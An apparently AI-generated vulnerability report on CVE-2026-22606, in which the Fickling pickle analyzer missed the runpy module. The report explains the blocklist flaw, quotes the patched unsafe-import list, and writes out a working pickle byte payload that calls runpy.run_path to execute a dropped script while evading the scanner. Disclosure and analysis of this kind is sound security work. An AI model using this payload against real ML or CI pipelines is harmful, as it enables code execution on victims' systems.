CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22606
7.80.06%

Pickled Poison: The Irony of CVE-2026-22606 in Fickling

Alon Barad
Alon Barad
Software Engineer

Feb 23, 2026·7 min read·1 visit

PoC Available

Executive Summary (TL;DR)

Fickling versions <= 0.1.6 failed to flag the `runpy` module as unsafe. Attackers can bypass the analyzer and achieve RCE by using `runpy.run_path()` within a malicious pickle.

In a twist of cruel irony, Fickling—a tool designed to protect users from malicious Python pickles—was found to be blind to one of the most obvious execution vectors in the standard library: `runpy`. By failing to blacklist this module, Fickling allowed attackers to craft pickles that pass static analysis filters while still retaining the ability to achieve Arbitrary Code Execution (ACE) upon deserialization. This vulnerability highlights the inherent fragility of blocklist-based security in dynamic language environments.

The Hook: When the Guard Dog is Asleep

If you've spent more than five minutes in the Python security ecosystem, you know the mantra: Never unpickle untrusted data. It is the prime directive. The Pickle protocol isn't just a serialization format; it is a bytecode for a stack-based virtual machine (the PVM). Unpickling is, effectively, code execution. But because humans are stubborn and legacy systems are eternal, people still use pickles. Enter Fickling, a heroic attempt by Trail of Bits to make this dangerous practice slightly less suicidal. Fickling acts as a decompiler and static analyzer, reverse-engineering the PVM bytecode to tell you if a pickle is trying to eat your hard drive.

Here is the tragedy: Fickling works by identifying "unsafe" imports—modules like os, sys, and subprocess that are the usual suspects in Remote Code Execution (RCE) payloads. It acts as a gatekeeper. If Fickling says a pickle is clean (or merely "suspicious" rather than "overtly malicious"), an automated pipeline might let it through. But what happens when the gatekeeper forgets the face of one of the enemies?

CVE-2026-22606 isn't a buffer overflow or a complex heap grooming exploit. It is a logic error in that blocklist. The developers anticipated attackers using os.system or eval, but they completely overlooked runpy. This is the digital equivalent of locking your front door with a biometric scanner but leaving the key under the mat. The tool designed to stop RCE was blind to a module specifically designed to run code.

The Flaw: The Problem with Blocklists

To understand the flaw, we have to look at how Fickling categorizes threats. It uses an abstract interpretation of the pickle bytecode to reconstruct the AST (Abstract Syntax Tree) of what the pickle would do if executed. It then runs an analysis pass called UnsafeImports. This pass compares the imported modules against a hardcoded set of strings known to be dangerous.

The vulnerability lies in the incompleteness of this set. The runpy module in Python's standard library is a powerful utility. It is used to locate and execute Python modules without importing them first. Functions like runpy.run_path() and runpy.run_module() allow for immediate execution of scripts or compiled code objects.

In Fickling versions up to 0.1.6, runpy was missing from the UNSAFE_IMPORTS set. This means that if an attacker crafted a pickle that imported runpy and called run_path('/tmp/exploit.py'), Fickling's analyzer would look at it, check its list, see that runpy wasn't on the "naughty list," and shrug. It might flag it as SUSPICIOUS due to heuristic checks (like unused variables), but it would fail to mark it as OVERTLY_MALICIOUS. For a security gateway, the difference between "Suspicious" and "Malicious" is often the difference between a blocked attempt and a compromised server.

The Code: The Smoking Gun

The fix is almost embarrassingly simple, which highlights the fragility of the previous approach. The vulnerability existed in fickling/fickle.py (or the internal logic defining unsafe imports). The developers had to play catch-up with the Python standard library.

Here is the essence of the patch applied in commit 9a2b3f89bd0598b528d62c10a64c1986fcb09f66. They didn't rewrite the engine; they just added names to the list.

# Before (simplified representation)
UNSAFE_IMPORTS = {
    "os", "sys", "subprocess", "eval", "exec", ...
}
 
# After (Patch 0.1.7)
UNSAFE_IMPORTS = {
    "os", "sys", "subprocess", "eval", "exec",
    "runpy",      # <--- The fix for CVE-2026-22606
    "cProfile",   # <--- Another vector (GHSA-p523-jq9w-64x9)
    "pydoc",      # <--- Another vector (GHSA-5hvc-6wx8-mvv4)
    "ctypes",
    "importlib",
    "code",
    "multiprocessing"
}

> [!NOTE] > Notice the other additions like cProfile and pydoc. This wasn't just about runpy; the researchers realized the blocklist was a sieve. pydoc can launch a web server, and cProfile can execute arbitrary code for profiling.

The patch also hardened the checking logic. Instead of just checking the top-level module, it now iterates through components of dotted paths to ensure an attacker can't sneak in via pkg.subpkg.module:

# Hardened logic
if any(component in UNSAFE_IMPORTS for component in node.module.split(".")):
    self.mark_dangerous(node)

The Exploit: Cooking a Malicious Pickle

Let's put on our black hats. To exploit this, we don't need buffer overflows; we just need to speak the language of the PVM. We need to construct a pickle that imports runpy and calls a function.

The Pickle protocol uses opcodes. Key opcodes for us are:

  • STACK_GLOBAL (\x93): Imports a module and a name, pushing the result onto the stack.
  • REDUCE (R): Calls a callable on the stack with a tuple of arguments.

Here is how we construct the bypass payload. We assume the attacker has already dropped a script at /tmp/pwn.py (or uses a UNC path on Windows).

import pickle
import pickletools
 
# The payload opcode sequence
# 1. Push 'runpy' (module)
# 2. Push 'run_path' (function)
# 3. STACK_GLOBAL -> imports runpy.run_path
# 4. Push '/tmp/pwn.py' (argument)
# 5. Tuple builder (for arguments)
# 6. REDUCE -> executes runpy.run_path('/tmp/pwn.py')
 
opcode_payload = (
    b'\x80\x04'                 # PROTO 4
    b'\x95\x18\x00\x00\x00'     # FRAME length
    b'\x8c\x05runpy\x94'        # SHORT_BINUNICODE 'runpy'
    b'\x8c\x08run_path\x94'     # SHORT_BINUNICODE 'run_path'
    b'\x93'                     # STACK_GLOBAL (import runpy.run_path)
    b'\x94'                     # MEMOIZE
    b'\x8c\x0b/tmp/pwn.py\x94'  # SHORT_BINUNICODE argument
    b'\x85'                     # TUPLE1
    b'R'                        # REDUCE (Call function)
    b'.'                        # STOP
)
 
# Verification
# pickletools.dis(opcode_payload)

When Fickling 0.1.6 analyzes this byte stream, it sees the reference to runpy. It checks its internal database. runpy is missing. It parses the rest. The analysis concludes without triggering the critical UnsafeImport alarm. The victim sees "Safe" (or ignores the low-level warning), runs pickle.loads(payload), and the script at /tmp/pwn.py executes with the privileges of the host application.

The Impact: False Confidence

The impact here is subtle but devastating. If you are using pickle.load() directly without checks, you are already vulnerable to everything. This CVE specifically targets people trying to do the right thing. Organizations often deploy tools like Fickling in CI/CD pipelines to scan ML models (which are often pickled) or data artifacts before they enter production environments.

By bypassing this check, an attacker can infiltrate environments that believe they are secured. This is a "security theater" vulnerability. The tool gave a thumbs-up to a bomb.

  • Attack Vector: Local or Network (depending on where the pickle comes from).
  • Privileges: None required to craft the pickle; execution happens with the privileges of the deserializing process.
  • Scope: Unchanged (the vulnerable app is the one crashing/executing), but the trust model is broken.

The Fix: A Never-Ending Game

The immediate fix is to upgrade to Fickling v0.1.7 or later. This version includes the expanded blocklist that covers runpy, cProfile, and others. If you cannot upgrade, you are theoretically holding a grenade.

However, the deeper mitigation strategy is to stop trusting pickles entirely. Fickling is a brilliant tool, but static analysis of a Turing-complete serialization format (which Pickle effectively is) is mathematically difficult. Blocklists are inherently reactive. Today it's runpy, tomorrow it might be a gadget chain involving a benign-looking library that interacts with C-extensions.

Strategic Recommendation:

  1. Migrate: Move to safer serialization formats like JSON, ProtoBuf, or MsgPack wherever humanly possible.
  2. Verify Signatures: If you must use pickles, cryptographically sign them (HMAC) and verify the signature before attempting to deserialize or even analyze them.
  3. Sandboxing: Even with Fickling, perform deserialization in an ephemeral sandbox with no network access and read-only filesystem permissions.

Official Patches

Trail of BitsPull Request addressing the missing unsafe imports

Fix Analysis (1)

Technical Appendix

CVSS Score
7.8/ 10
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.06%
Top 83% most exploited

Affected Systems

Fickling <= 0.1.6CI/CD pipelines relying on Fickling for artifact scanningML Ops workflows validating pickled models

Affected Versions Detail

Product
Affected Versions
Fixed Version
fickling
Trail of Bits
<= 0.1.60.1.7
AttributeDetail
CWE IDCWE-184 (Incomplete List of Disallowed Inputs)
Secondary CWECWE-502 (Deserialization of Untrusted Data)
CVSS v3.17.8 (High)
Attack VectorLocal / Network (File-based)
ImpactArbitrary Code Execution (ACE)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1204User Execution
Execution
T1059Command and Scripting Interpreter: Python
Execution
CWE-184
Incomplete List of Disallowed Inputs

Known Exploits & Detection

GitHubFickling's own test suite now includes the regression test for runpy exploitation.

Vulnerability Timeline

Patch committed to Fickling repository
2026-01-07
CVE-2026-22606 Published
2026-01-10

References & Sources

  • [1]GHSA Advisory
  • [2]Python runpy Documentation

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.